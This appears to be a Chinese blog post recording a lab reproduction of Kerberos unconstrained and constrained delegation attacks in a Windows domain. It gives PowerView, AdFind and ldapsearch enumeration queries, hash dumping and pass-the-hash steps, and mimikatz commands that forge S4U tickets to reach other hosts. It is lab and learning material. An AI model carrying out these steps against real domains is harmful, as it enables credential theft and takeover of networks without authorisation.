委派与约束委派复现

委派与约束委派实际利用实战

域控机 windows2016

域成员主机 windows2012

非约束委派账号 yzc

 

非约束委派

User>service1(直接发送tgt,则service1可以用这个tgt去访问任何user允许访问的服务)

 

实验准备

1. 设置yzc为服务账号

Setspn –U –A https/golden yzc

2. 设置账号为非约束委派

3. 查找非约束委派账号

当ps脚本禁止加载时修改配置即可

Powerview Get-Netuser -Unconstrained -Domain yzc.com | select name

4.域控机器模拟登陆winrm Enter-PSSession -ComputerName WIN

 

 

 5.域成员主机导出hash,发现administrator  hash

 

 6.导入hash 访问域控

 

约束委派复现(发送请求时,由服务代表user向KDC请求票据)

协议S4U2Self S4U2proxy。

在约束委派的情况下,服务用户只能获取某个用户的的服务st,访问特定的服务。当获取了服务用户的密码明文或者NTMLhash,则可以伪装成服务用户以任意用户权限访问s某服务的st。

用户-》服务1-》服务2 (当用户委派了服务1访问服务2,服务1以任意用户的名义申请访问服务2(这里可以用administrator)

环境配置:

两台域主机

Win2012-1 

Win2012-2  y用户登录 ,设置y用户对此主机有约束委派关系,服务为cifs。

 

 

域控

Win2016

复现过程:

1.获取服务用户y的TGT(已知明文密码或者ntml)这里用户为y ,发现当前目录生成了kirbi文件

tgt:ask /user:y /domain:yzc.com /password:XXX

2.根据S4u伪造票据

Tgs::s4u /tgt:(步骤一中生成的y用户的tgt票据) /user:(要伪造的用户) /service:(服务)

 

 

 3.将伪造的票据利用mimikatz导入

Kerberos::ptt 票据

 

 4.访问win2012-2主机的C盘,发现成功

 

 

查看域内非约束主机方法

AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName //samAccountType=805306368 是对非约束账号查询

ldapsearch -LLL -x -H ldap://192.168.124.142:389 -D "administrator@test.com" -w "123" -b dc=test,dc=com "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

Get-NetComputer -Unconstrained -Domain test.com | select cn

查找约束委派主机

AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

ldapsearch -LLL -x -H ldap://192.168.124.142:389 -D "administrator@test.com" -w "123" -b dc=test,dc=com "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

Get-DomainComputer -TrustedToAuth -Domain test.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto

posted @ 2020-12-02 19:32  yzcxld  阅读(812)  评论(0)    收藏  举报